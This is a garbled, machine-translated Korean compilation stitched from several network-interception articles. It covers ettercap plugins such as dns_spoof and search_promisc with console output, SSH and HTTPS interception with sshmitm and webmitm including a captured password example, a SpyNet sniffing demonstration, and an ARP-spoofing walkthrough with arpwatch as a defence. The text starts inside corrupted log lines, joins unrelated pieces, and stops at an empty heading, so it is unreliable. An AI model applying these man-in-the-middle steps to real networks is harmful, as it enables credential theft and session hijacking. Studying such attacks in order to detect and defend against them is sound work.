것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (WA RNING) 192.168.1.35 척 be 192.168 .1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35인 척합니다 192.1 68.1.1 arp_cop: ( 경고) 192.168 .1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (WA RNING) 192.1 68.1.35 척 be 192.168.1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35는 인 척합니다 192.168.1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (WA RNING) 192.168.1.3 5척 192.168.1.1인 것처럼 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35인 것처럼 가장합니다 192.168.1.1 arp_cop : ( 경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (WARN ING) 192.168.1.35 척 192. 168.1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 19인 것처럼 가장합니다 2. 168.1.1 arp_cop: (경고 ) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고 ) 192.168.1.35는 192.168인 것처럼 가장합니다. 1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35 192.16인 것처럼 가장합니다 8.1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 것처럼 가장합니다 arp_cop: (경고) 192.16 8.1.35는 192.168인 것처럼 가장합니다. .1.1............................

7.2 자동 추가

새로운 피해자가 ARP 중독 완화 공격에 연결되면 자동으로 추가됩니다. 로컬 네트워크에서 ARP 요청을 찾고, 감지되면 목록이 TARGET으로 지정된 경우 플러그인은 피해자 목록에 호스트를 추가합니다. arp 요청이 표시되면 호스트가 추가됩니다.

7.3 chk_poison

ettercap의 arp etch 모듈이 성공적인지 확인합니다. 각 피해자인 것처럼 가장하면서 모든 미끼 피해자에게 스푸핑된 ICMP 에코 패킷을 보냅니다. MAC 주소를 대상으로 하여 ICMP 응답을 포착할 수 있습니다. 이는 두 대상 간의 미끼가 성공했음을 의미합니다. 각 연결의 두 경로를 모두 확인합니다.

7.4 dns_spoof

이 플러그인은 DNS 요청을 중단하고 스푸핑된(가짜) 응답으로 응답합니다. etter.dns 파일을 편집하여 플러그인이 응답해야 하는 주소를 선택할 수 있습니다. 플러그인은 A, AAAA, PTR, MX, WINS, SRV 및 TXT 요청을 가로챕니다. A 요청인 경우 파일에서 이름을 조회하고 IP 주소가 반환됩니다(이름에 와일드카드를 사용할 수 있음).

AAAA 요청에도 동일하게 적용됩니다.

7.5 찾기_콘

호스트가 통신하려는 모든 대상을 표시하기 위해 ARP 요청을 수신하는 매우 간단한 플러그인입니다. 또한 알 수 없는 LAN에서 주소를 찾는 데도 도움이 될 수 있습니다.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

LAN으로 전송된 ettercap 패킷을 식별하려고 시도합니다. ettercap을 사용하려는 사람을 식별하는 데 유용할 수 있습니다. 테스트는 특정 시퀀스/ID 번호에서만 작동하므로 100% 의존하지 마십시오.

7.7 스캔_포이즌너

목록에 있는 호스트와 우리 사이에 미끼를 던지는 사람이 있는지 확인하겠습니다. 먼저, 목록에 있는 두 호스트가 동일한지 확인합니다. 맥 주소. 이는 그들 중 하나가 다른 사람인 척하여 우리를 중독시키고 있음을 의미할 수 있습니다. Proxy-ARP 환경에서는 많은 오탐(false positive)이 발생할 수 있습니다. 이 확인을 수행하려면 호스트 목록을 작성해야 합니다. 그런 다음 목록의 각 호스트에 icmp 에코 패킷을 보내고 응답 소스의 mac 주소가 해당 IP로 목록에 저장한 주소와 다른지 확인합니다. 이는 누군가가 우리의 IP 주소를 가지고 있는 것처럼 가장하고 가로챈 패킷을 우리에게 전달함으로써 이 호스트를 미끼로 삼고 있음을 의미할 수 있습니다. 비공격 모드에서는 이 활성 테스트를 실행할 수 없습니다.

Ettercap -TQP scan_poisoner //

7.8 검색_약속

무차별 모드에서 누군가가 냄새를 맡고 있는지(듣고 있는지) 찾으려고 합니다. 호스트 목록의 각 대상에 두 가지 잘못된 형식의 arp 요청을 보내고 응답을 기다립니다. 응답이 대상 호스트에서 온 경우 대상에 무차별 모드의 네트워크 카드가 있을 가능성이 다소 높습니다. 잘못된 경보가 발생할 수 있습니다. 명령줄이나 플러그인 메뉴에서 실행할 수 있습니다. arp 응답을 수신하므로 arp 요청을 보내는 동안에는 사용하지 않는 것이 더 좋습니다.

Ettercap -TQP 검색_promisc /192.168.0.1/ ettercap -TQP 검색_promisc //

무차별 모드에서 두 개의 네트워크 카드를 성공적으로 추측한 예:

확장하다

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap 개발팀 청취: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL 분석에는 etter.conf 파일의 유효한 "redir_command_on" 스크립트가 필요합니다. Ettercap이 올바르게 작동하지 않을 수 있습니다. /proc/sys/net/ipv6/conf/eth0/use_tempaddr이 0으로 설정되지 않았습니다. 권한이 EUID 65534 EGID 65534... 33개 플러그인 42개 프로토콜 분석기 57개 포트 모니터링됨 20388 mac 벤더 지문 1766 tcp OS 지문 2182 알려진 서비스 Lua : 스크립트가 지정되지 않았습니다. 시작되지 않습니다! 검색을 위해 255개 호스트 무작위 지정 중... 255개 호스트에 대한 전체 넷마스크 검색 중... * |============================== ============= =====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap 개발팀 청취: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL 분석에는 etter.conf 파일의 유효한 "redir_command_on" 스크립트가 필요합니다. Ettercap이 올바르게 작동하지 않을 수 있습니다. /proc/sys/net/ipv6/conf/eth0/use_tempaddr이 0으로 설정되지 않았습니다. 권한이 EUID 65534 EGID 65534... 33개 플러그인 42개 프로토콜 분석기 57개 포트 모니터링됨 20388 mac 벤더 지문 1766 tcp OS 지문 2182 알려진 서비스 Lua : 스크립트가 지정되지 않았습니다. 시작되지 않습니다! 검색을 위해 255개 호스트 무작위 지정 중... 255개 호스트에 대한 전체 넷마스크 검색 중... * |============================== ============= =====================>| 100.00% 호스트 목록에 5개의 호스트가 추가되었습니다... 통합 스니핑 시작 중... 텍스트 전용 인터페이스 활성화됨... 인라인 도움말을 보려면 "h"를 누르십시오. search_promisc 플러그인 활성화 중... search_promisc: promisc NIC 검색 중... 스니핑 가능성이 적은 NIC : - 192.168.1.36 - 192.168.1.34 NIC를 스니핑할 가능성이 가장 높은 항목: - NONE 텍스트 인터페이스를 닫는 중... ettercap을 종료하는 중... Lua 정리가 완료되었습니다! 통합 스니핑이 중지되었습니다.

7.9 SSL스트립

SSL mitm 공격 중에 ettercap은 실제 SSL 인증서를 자체 인증서로 교체합니다. 가짜 인증서는 즉석에서 생성되며 모든 필드는 서버에서 제공하는 실제 인증서에 따라 채워집니다.

  • (62%)
  • (56.5%)
  • (랜덤 - 0.2%)
  • 이 기사에서는 중간자(Man-in-the-Middle)와 같은 공격, 즉 공격 방법을 살펴보겠습니다.
    Man in the Middle 공격을 사용하여 SSH 및 HTTP 트래픽을 리디렉션합니다. 고양이의 꼬리를 당기지 말고 사업에 착수합시다.

    Man in the Middle (줄여서 MitM, 러시아어로 간단히 "중개자의 공격"또는 "남자")
    중간")은 정보를 가로채기 위해 두 시스템 사이의 트래픽을 리디렉션하는 공격 유형입니다(추가 연구, 파괴 또는 수정). 따라서 가장 먼저 필요한 것은 dsniff 패키지입니다(다음에서 패키지에 대한 링크를 볼 수 있습니다). 기사 끝) 이유 예, 이 패키지에는 sshmitm(SSH 트래픽 리디렉션) 및 httpmitm(HTTP 트래픽 리디렉션)을 포함하여 다음 보안 체계를 우회할 수 있는 필요한 모든 유틸리티가 포함되어 있기 때문입니다. 데이터 암호화는 "안전"합니다(암호화는 도움이 됩니다 :)). 네트워크 계층 "상위"에서 공격이 수행되는 것을 허용하지 않습니다. 해커는 암호화 키를 알 수 없으므로 데이터를 해독하는 것은 불가능합니다. 명령도 삽입하세요. 모든 것이 괜찮아 보이지만 방법은 다음과 같습니다.
    dsniff 패키지의 MitM 공격 프로그램(sshmitm 및 httpmitm)은 우회할 수 있기 때문에 이 시스템보안(거의 모든 것을 우회할 수 있음) 이 모든 작업은 다음 원칙에 따라 수행됩니다.
    중간 호스트는 클라이언트로부터 요청을 받아 자신이 서버임을 "알린" 다음 실제 서버에 연결합니다.
    두 번째로 필요한 것은 곧은 팔이고, 네 번째 - 가장 중요한 것은 욕망이며, 물론 피해자, 즉 우리가 공격할 컴퓨터입니다.

    SSH 트래픽 리디렉션

    도구를 준비한 후 무엇이 무엇인지, 왜 그런지 이해했습니다. :). sshmitm 받기 - 이제 SSH 트래픽을 리디렉션하겠습니다(이론적인 부분에서 이해하지 못한 모든 것 - 위에서 읽어보세요)
    이를 사용하여 오늘날의 PKI(공개 키 인프라 - 다음을 기반으로 하는 키 관리 체계)의 단점을 활용합니다.
    비대칭 암호화 방법). 구문을 살펴보겠습니다.
    sshmitm:

    sshmitm [-d] [-I] [-p 포트] 호스트


    디버그 출력 허용(즉, 고급 모드)


    세션 하이재킹

    P포트
    청취 포트

    주인
    세션이 차단될 원격 호스트의 주소

    포트
    원격 호스트의 포트

    모든 것이 단순하고 세련된 것 같습니다. 복잡한 것은 없습니다 :). 공격 구현을 시작하겠습니다!

    # sshmitm server.target.gov // SSH 서버 지정
    sshmitm: server.target.gov 서버로 중계 중

    실제 SSH 키가 없기 때문에 공격자의 명령 해석기는
    호스트 키를 확인하라는 요청이 표시되며 모두 다음과 같습니다.

    clientmachine$ server.target.gov
    @경고: 원격 호스트 식별이 변경되었습니다! @
    누군가가 불쾌한 일을 하고 있을 가능성이 있습니다!
    누군가 지금 당신을 도청하고 있을 수도 있습니다(중간자 공격)!
    RSA 호스트 키가 방금 변경되었을 수도 있습니다.
    시스템 관리자에게 문의하세요.

    그런 다음 사용자는 연결 여부를 결정합니다. 그렇다면 SSH 세션을 완전히 제어할 수 있습니다.
    하지만! 사용자가 해당 차량에 연결한 적이 없는 경우 다음 메시지가 표시될 수 있습니다.

    호스트 "server.target.gov"의 신뢰성을 설정할 수 없습니다.
    RSA 키 지문은 다음과 같습니다.
    블라:블라:블라;블라;블라........
    계속 연결하시겠습니까(예/아니요)?

    여기에서 사용자는 연결 여부의 두 가지 선택 사항도 있습니다. 그렇다면 세션을 가로채고, 그렇지 않다면 아쉽게도... :(.
    일반적으로 사용자가 연결하고 sshmitm이 모든 패스와 로그인을 매우 읽기 쉬운 방식으로 기록하면 공격은 성공한 것입니다. :)
    당연히 이것이 유일한 SSH 세션 인터셉터는 아니지만 일단 익숙해지면 다른 것도 쉽게 마스터할 수 있습니다 :)

    HTTP 트래픽 리디렉션

    이제 HTTP 트래픽을 리디렉션하겠습니다. 이번에도 이전에 선택한 도구가 필요합니다. httpmitm은 포트 80(HTTP -) 및 443(HTTPS -)을 수신하고 WEB 요청을 가로채고 서버에 연결하여 요청을 클라이언트 컴퓨터로 전달합니다. 또한 이 프로그램은 OpenSSL을 사용하여 SSL 키와 SSL 인증서를 생성합니다. 그럼 노력한 끝에
    사이트(target.gov)에 연결하면 브라우저가 SSL 인증서를 확인합니다. 인증서가 일치하지 않으므로 사용자의 브라우저는 다음 사항에 대해 경고합니다.
    잘못된 SSL 인증서. 공격자의 관점에서 보면 다음과 같습니다.

    #webmitm -d
    webmitm: 투명하게 전달
    webmitm: 다음의 새 연결
    GET [링크]/uzerz.php?user=hellknights&password=neskaju1qwerty HTTP/[버전]
    연결 타입]
    호스트: www.target.gov
    User-Agent: [시스템, 브라우저 정보]
    [기타 등등, 등등]
    쿠키: [쿠키]

    외부에서 보면 다 이렇습니다 -
    SSL 연결이 차단되어 암호화되지 않은 데이터가 캡처됩니다.

    결론

    이 기사에서는 Man in the Middle 공격을 사용하여 SSH 및 HTTP 트래픽을 리디렉션하는 방법을 명확하고 자세하게 간략하게 살펴보았습니다. 기타 HTTP 및 SSH 리디렉터
    이것도 마스터했다면 MitM을 사용하여 트래픽을 빠르게 마스터할 수 있습니다 :)). 불분명한 점이 있었다면...

    네트워크를 통한 데이터 차단은 원격 컴퓨터 장치로부터 정보를 받는 것입니다. 이는 사용자의 개인정보, 메시지, 웹사이트 방문 기록으로 구성될 수 있습니다. 데이터 캡처는 스파이웨어나 네트워크 스니퍼를 사용하여 수행할 수 있습니다.

    스파이웨어는 특정 워크스테이션이나 장치에서 네트워크를 통해 전송되는 모든 정보를 기록할 수 있는 특수 소프트웨어입니다.

    스니퍼는 네트워크를 통과하는 트래픽을 가로채서 분석하는 프로그램 또는 컴퓨터 기술입니다. 스니퍼를 사용하면 웹 세션에 연결하고 컴퓨터 소유자를 대신하여 다양한 작업을 수행할 수 있습니다.

    실시간으로 정보가 전달되지 않으면 스파이웨어정보를 편리하게 확인하고 분석할 수 있는 보고서를 생성합니다.

    네트워크 차단은 합법적으로 또는 불법적으로 수행될 수 있습니다. 정보 획득의 적법성을 정하는 주요 문서는 사이버 범죄에 관한 협약입니다. 2001년 헝가리에서 만들어졌습니다. 법적 요구 사항은 주마다 조금씩 다를 수 있지만 핵심 메시지는 모든 국가에서 동일합니다.

    네트워크를 통한 데이터 차단의 분류 및 방법

    위의 내용에 따라 네트워크를 통한 정보 가로채기는 승인된 유형과 승인되지 않은 유형의 두 가지로 나눌 수 있습니다.

    승인된 데이터 캡처는 기업 정보 보호부터 국가 보안 보장까지 다양한 목적으로 수행됩니다. 그러한 작업을 수행하는 근거는 법률, 특별 서비스, 법 집행관 및 전문가에 의해 결정됩니다. 행정 기관및 회사 보안 서비스.

    데이터 가로채기를 수행하는 데에는 국제 표준이 있습니다. 유럽 ​​전기통신 표준 협회(European Telecommunications Standards Institute)는 정보 가로채기의 기반이 되는 다양한 기술 프로세스(ETSI ES 201 158 "통신 보안, 합법적인 가로채기(LI), 네트워크 기능에 대한 요구 사항")를 조화시키는 데 성공했습니다. 그 결과, 비밀 기관 전문가와 네트워크 관리자가 네트워크에서 합법적으로 데이터를 얻는 데 도움이 되는 시스템 아키텍처가 개발되었습니다. 네트워크를 통한 데이터 가로채기를 구현하기 위해 개발된 구조는 유선 및 무선 시스템음성 통화, 우편 서신, IP를 통한 음성 메시지 전송, SMS를 통한 정보 교환.

    네트워크를 통한 데이터의 무단 가로채기는 기밀 데이터, 비밀번호, 기업 비밀, 네트워크의 컴퓨터 컴퓨터 주소 등을 소유하려는 공격자에 의해 수행됩니다. 목표를 달성하기 위해 해커는 일반적으로 스니퍼인 네트워크 트래픽 분석기를 사용합니다. 이 프로그램또는 하드웨어-소프트웨어 장치는 사기꾼에게 인증서 스푸핑을 통한 암호화된 SSL 트래픽을 포함하여 피해자 사용자가 연결된 네트워크 내의 정보를 가로채고 분석할 수 있는 능력을 제공합니다. 교통 데이터는 다양한 방법으로 얻을 수 있습니다.

    • 네트워크 인터페이스를 듣고,
    • 차단 장치를 채널 브레이크에 연결하고,
    • 트래픽 분기를 생성하고 이를 스니퍼에 복제합니다.
    • 공격을 수행함으로써.

    네트워크 상호 작용에 침입하고 데이터를 변경할 수 있는 중요한 정보를 가로채는 더 복잡한 기술도 있습니다. 그러한 기술 중 하나는 스푸핑된 ARP 요청입니다. 이 방법의 핵심은 피해자의 컴퓨터와 공격자의 장치 사이의 IP 주소를 바꾸는 것입니다. 네트워크를 통해 데이터를 가로채는 데 사용할 수 있는 또 다른 방법은 잘못된 라우팅입니다. 여기에는 네트워크 라우터의 IP 주소를 자신의 주소로 바꾸는 것이 포함됩니다. 사이버 범죄자가 피해자가 위치한 로컬 네트워크가 어떻게 구성되어 있는지 알면 사용자 컴퓨터에서 자신의 IP 주소로 정보 수신을 쉽게 구성할 수 있습니다. TCP 연결 캡처도 제공됩니다. 효과적인 방법으로데이터 가로채기. 공격자는 TCP 패킷을 생성하여 피해자의 컴퓨터로 전송하여 통신 세션을 중단합니다. 다음으로 클라이언트 대신 범죄자가 통신 세션을 복원하고 가로채서 계속합니다.

    영향의 대상

    네트워크를 통한 데이터 가로채기 대상은 정부 기관, 산업 기업, 상업 시설 및 일반 사용자일 수 있습니다. 조직이나 비즈니스 회사 내에서 네트워크 인프라를 보호하기 위해 정보를 캡처할 수 있습니다. 정보 기관과 법 집행 기관은 진행 중인 작업에 따라 다양한 소유자로부터 전송된 정보를 대량으로 가로챌 수 있습니다.

    사이버 범죄자에 관해 이야기하면 모든 사용자나 조직이 네트워크를 통해 전송되는 데이터를 얻기 위해 영향력의 대상이 될 수 있습니다. 승인된 액세스의 경우 수신된 정보 중 유익한 부분이 중요한 반면, 공격자는 탈취하는 데 사용할 수 있는 데이터에 더 관심이 있습니다. 현금으로또는 후속 판매를 위한 귀중한 정보.

    예를 들어 핫스팟이 있는 카페와 같이 공용 네트워크에 연결하는 사용자는 사이버 범죄자의 정보 가로채기 피해자가 되는 경우가 가장 많습니다. Wi-Fi 접속. 공격자는 스니퍼를 이용해 웹 세션에 접속해 데이터를 교체하고 개인정보를 훔친다. 기사에서 이것이 어떻게 발생하는지 자세히 알아보세요.

    위협의 근원

    기업 및 조직의 정보에 대한 승인된 가로채기는 공용 네트워크 인프라 운영자에 의해 수행됩니다. 이들의 활동은 개인 데이터, 영업 비밀 및 기타 정보를 보호하는 것을 목표로 합니다. 중요한 정보. 법적으로 메시지와 파일의 전송은 시민과 국가의 보안을 보장하기 위해 정보 기관, 법 집행 기관 및 다양한 정부 기관에서 모니터링할 수 있습니다.

    범죄자들은 ​​불법적인 데이터 가로채기에 가담하고 있습니다. 사이버범죄의 피해자가 되지 않으려면 전문가의 몇 가지 권장 사항을 따라야 합니다. 예를 들어, 공용 네트워크에 연결된 장소에서는 중요한 데이터의 인증 및 전송이 필요한 작업을 수행해서는 안 됩니다. 암호화된 네트워크를 선택하는 것이 더 안전하며 개인용 3G 및 LTE 모뎀을 사용하는 것이 더 좋습니다. 개인 데이터를 전송할 때는 HTTPS 프로토콜이나 개인 VPN 터널을 사용하여 암호화하는 것이 좋습니다.

    암호화 및 스니퍼 방지 기능을 사용하여 네트워크 트래픽 가로채기로부터 컴퓨터를 보호할 수 있습니다. 무선 네트워크 액세스보다는 전화 접속을 통해 위험을 줄일 수 있습니다.


    본 강의에서는 네트워크 패킷 가로채기를 기반으로 한 네트워크 해킹 기술에 대해 설명합니다. 해커는 이러한 기술을 사용하여 귀중한 정보를 훔치고, 중간자 공격을 목적으로 데이터 가로채기를 조직하고, TCP 연결을 가로채서 데이터 스푸핑을 허용하고, 기타 작업을 수행하기 위해 네트워크 트래픽을 수신합니다. 똑같이 흥미로운 행동. 불행하게도 이러한 공격의 대부분은 실제로 Unix 네트워크에서만 구현되며 해커는 두 가지 모두를 사용할 수 있습니다. 특수 유틸리티및 Unix 시스템 도구. 분명히 Windows 네트워크는 해커들에 의해 무시되었으며 우리는 데이터 가로채기 도구에 대한 설명을 네트워크 패킷의 사소한 청취를 위해 설계된 스니퍼 프로그램으로 제한해야 합니다. 그러나 사용된 해킹 기술에 대한 지식은 많은 문제를 예방하는 데 도움이 되므로 특히 해커 방지에 대한 이러한 공격에 대한 이론적 설명을 최소한 무시해서는 안 됩니다.

    네트워크 스니핑

    일반적으로 이더넷 네트워크를 스니핑하는 데 사용됩니다. 네트워크 카드청취 모드로 전환되었습니다. 청취 이더넷 네트워크스니퍼 프로그램을 실행하는 컴퓨터를 네트워크 세그먼트에 연결해야 하며, 그 후에는 이 네트워크 세그먼트의 컴퓨터에서 보내고 받는 모든 네트워크 트래픽을 해커가 사용할 수 있게 됩니다. 무선 네트워크 중개자를 사용하는 무선 네트워크의 트래픽을 가로채는 것이 훨씬 더 쉽습니다. 이 경우 케이블에 연결할 장소를 찾을 필요조차 없습니다. 또는 공격자는 컴퓨터를 인터넷 서버에 연결하는 전화선에 연결하여 이를 위한 편리한 장소를 찾을 수 있습니다(전화선은 일반적으로 보호 없이 지하실 및 기타 거의 방문하지 않는 장소에 배치됩니다).

    스니핑 기술을 시연하기 위해 우리는 많은 웹 사이트에서 찾을 수 있는 매우 인기 있는 스니퍼 프로그램 SpyNet을 사용할 것입니다. SpyNet 프로그램의 공식 웹사이트는 http://members.xoom.com/layrentiu2/에 있으며, 여기에서 프로그램의 데모 버전을 다운로드할 수 있습니다.

    SpyNet 프로그램은 CaptureNet과 PipeNet이라는 두 가지 구성 요소로 구성됩니다. CaptureNet 프로그램을 사용하면 네트워크 수준에서 이더넷 네트워크를 통해 전송된 패킷을 가로챌 수 있습니다. 이더넷 프레임 형태로. PipeNet 소프트웨어를 사용하면 이더넷 프레임을 애플리케이션 계층 패킷으로 조합하여 메시지 등을 복원할 수 있습니다. 이메일, HTTP 프로토콜 메시지(웹 서버와의 정보 교환) 및 기타 기능을 수행합니다.

    불행하게도 SpyNet 데모에서 PipeNet의 기능은 HTTP 패킷 어셈블리 데모로 제한되어 있으므로 SpyNet을 전체적으로 시연할 수는 없습니다. 그러나 우리는 실험적인 네트워크를 예로 들어 SpyNet의 네트워크 스니핑 기능을 시연할 것입니다. 텍스트 파일일반적인 방법을 사용하여 Sword-2000 호스트에서 Alex-Z 호스트로 윈도우 익스플로러. 동시에 A1ex-1 컴퓨터에서 CaptureNet 프로그램을 실행합니다. 이 프로그램은 전송된 패킷을 가로채고 이더넷 프레임에서 전송된 파일의 내용을 읽을 수 있게 해줍니다. 그림에서. 1은 secret.txt 파일의 비밀 메시지 텍스트를 보여줍니다. 캡처된 이더넷 프레임에서 이 텍스트를 찾으려고 노력할 것입니다.

    쌀. 1. 메모장 창의 비밀 메시지 텍스트

    이더넷 프레임을 캡처하려면 다음 단계를 따르십시오.

    Alex-Z 컴퓨터에서 CaptureNet 프로그램을 실행합니다. 표시된 프로그램 작업 창에서 메뉴 명령 캡처 * 시작(캡처 * 시작)을 선택하고 네트워크 프레임 가로채기 프로세스를 시작합니다.

    Windows 탐색기를 사용하여 Sword-2000 컴퓨터의 security.txt 파일을 A1ex-3으로 복사합니다.

    secret.txt 파일을 전송한 후 Capture * Stop 메뉴 명령을 선택하고 캡처 프로세스를 중지하십시오.

    캡처된 이더넷 프레임은 CaptureNet 프로그램 창(그림 2)의 오른쪽에 표시되며, 상단 목록의 각 행은 이더넷 프레임을 나타내고 목록 아래에는 선택한 프레임의 내용이 표시됩니다.

    쌀. 2. 이더넷 프레임에는 비밀 메시지 텍스트가 포함되어 있습니다.

    가로채는 프레임 목록을 살펴보면 우리가 전송한 텍스트가 포함된 프레임을 쉽게 찾을 수 있습니다. 이것은 매우 큰 비밀입니다(매우 큰 비밀입니다).

    이는 가로채는 모든 네트워크 트래픽이 기록되는 가장 간단한 예라는 점을 강조합니다. CaptureNet을 사용하면 특정 프로토콜과 특정 호스트 포트를 통해 전송된 패킷을 가로채고, 특정 콘텐츠가 포함된 메시지를 선택하고, 캡처된 데이터를 파일에 축적할 수 있습니다. 이러한 작업을 수행하는 기술은 간단하며 SpyNet 프로그램의 도움말 시스템을 사용하여 배울 수 있습니다.

    원시적인 네트워크 도청 외에도 해커는 보다 정교한 데이터 가로채기 수단에 접근할 수 있습니다. 다음은 이론적 측면이기는 하지만 이러한 방법에 대한 간략한 개요입니다. 그 이유는 Windows 네트워크의 경우 데이터 가로채기 공격의 실제 구현이 극히 제한되어 있고 가로채기 공격을 위한 신뢰할 수 있는 유틸리티 세트가 매우 열악하기 때문입니다.

    네트워크 트래픽을 가로채는 방법

    위의 CaptureNet과 같은 네트워크 분석기 프로그램을 사용한 네트워크 스니핑은 데이터를 가로채는 가장 간단한 방법입니다. SpyNet 외에도 처음에는 네트워크 활동 분석, 네트워크 진단, 지정된 기준에 따른 트래픽 선택 및 기타 네트워크 관리 작업을 목적으로 개발된 네트워크 스니핑에 많은 도구가 사용됩니다. 이러한 프로그램의 예로는 후속 분석을 위해 특수 로그에 네트워크 트래픽을 기록할 수 있는 tcpdump(http://www.tcpdump.org)가 있습니다.

    네트워크 도청을 방지하기 위해 네트워크 트래픽을 듣고 있는 네트워크 컴퓨터를 식별할 수 있는 AntiSniff(http://www.securitysoftwaretech.com/antisniff)와 같은 특수 프로그램이 사용됩니다. 문제를 해결하기 위해 스니퍼 방지 프로그램은 네트워크에 청취 장치가 있다는 특수 표시를 사용합니다. 스니퍼 컴퓨터의 네트워크 카드는 특수 청취 모드에 있어야 합니다. 수신 모드에 있는 동안 네트워크 컴퓨터는 테스트 중인 호스트로 전송된 IP 데이터그램에 특별한 방식으로 반응합니다. 예를 들어, 수신 호스트는 일반적으로 호스트 주소로 전송된 데이터그램뿐만 아니라 들어오는 모든 트래픽을 처리합니다. AntiSniff가 인식할 수 있는 의심스러운 호스트 동작을 나타내는 다른 징후가 있습니다.

    의심할 바 없이, 도청은 공격자의 관점에서 매우 유용합니다. 이를 통해 네트워크를 통해 전송된 비밀번호, 네트워크 컴퓨터의 주소, 기밀 데이터, 편지 등 많은 유용한 정보를 얻을 수 있기 때문입니다. 그러나 단순한 도청으로는 해커가 데이터를 수정하고 손상시키기 위해 두 호스트 간의 네트워크 통신을 방해할 수 없습니다. 이러한 문제를 해결하려면 더욱 복잡한 기술이 필요합니다.

    거짓 ARP 요청

    두 호스트 A와 B 사이의 네트워크 상호 작용 프로세스를 가로채서 장악하기 위해 공격자는 위조된 ARP(주소 확인 프로토콜) 메시지를 호스트 A와 B에 보내 상호 작용하는 호스트의 IP 주소를 자신의 IP 주소로 바꿀 수 있습니다. 호스트의 IP 주소를 호스트의 네트워크 카드에 하드코딩된 시스템 주소(MAC 주소)로 확인(변환)하는 절차를 설명하는 부록 D에서 ARP 프로토콜에 대해 알아볼 수 있습니다. 해커가 ARP를 사용하여 호스트 A와 B 간의 네트워크 통신을 가로채는 방법을 살펴보겠습니다.

    호스트 A와 B 사이의 네트워크 트래픽을 가로채기 위해 해커는 이러한 호스트에 자신의 IP 주소를 부여하여 A와 B가 메시지를 교환할 때 이 위조된 IP 주소를 사용하도록 합니다. 자신의 IP 주소를 강요하기 위해 해커는 다음 작업을 수행합니다.

    공격자는 예를 들어 W2RK 패키지의 nbtstat 명령을 사용하여 호스트 A와 B의 MAC 주소를 확인합니다.

    공격자는 확인된 호스트 A와 B의 MAC 주소로 메시지를 보냅니다. 이는 호스트의 IP 주소를 컴퓨터의 MAC 주소로 확인하라는 요청에 대한 위조된 ARP 응답입니다. 호스트 A는 호스트 B의 IP 주소가 공격자 컴퓨터의 MAC 주소와 일치한다는 알림을 받습니다. 호스트 B는 호스트 A의 IP 주소가 공격자 컴퓨터의 MAC 주소와 일치한다는 알림을 받습니다.

    호스트 A와 B는 수신한 MAC 주소를 ARP 캐시에 저장한 후 이를 사용하여 서로에게 메시지를 보냅니다. IP 주소 A와 B는 공격자 컴퓨터의 MAC 주소와 일치하므로 호스트 A와 B는 자신의 메시지로 무엇이든 할 수 있는 중개자를 통해 통신합니다.

    이러한 공격으로부터 보호하려면 네트워크 관리자는 네트워크 컴퓨터의 MAC 주소와 IP 주소 간의 대응 테이블을 사용하여 데이터베이스를 유지 관리해야 합니다. 다음으로 특수문자를 이용하여 소프트웨어예를 들어, arpwatch 유틸리티(ftp://ftp.ee.lbl.gov/arpwatch-2.lab.tar.gz)는 정기적으로 네트워크를 조사하고 불일치를 식별할 수 있습니다.

    UNIX 네트워크에서 이러한 유형의 스푸핑된 ARP 요청 공격은 네트워크 트래픽을 모니터링하고 관리하는 시스템 유틸리티(예: arpredirect)를 사용하여 구현할 수 있습니다. 불행하게도 이러한 안정적인 유틸리티는 Windows 2000/XP 네트워크에서는 구현되지 않는 것 같습니다. 예를 들어, NTsecurity 웹 사이트(http://www.ntsecurity.nu)에서 네트워크 호스트 간 트래픽을 리디렉션하는 도구로 제공되는 GrabitAII 유틸리티를 다운로드할 수 있습니다. 그러나 GrabitAII 유틸리티의 기능에 대한 기본 점검을 통해 해당 기능 구현의 완전한 성공이 아직 멀었음을 알 수 있습니다.

    허위 라우팅

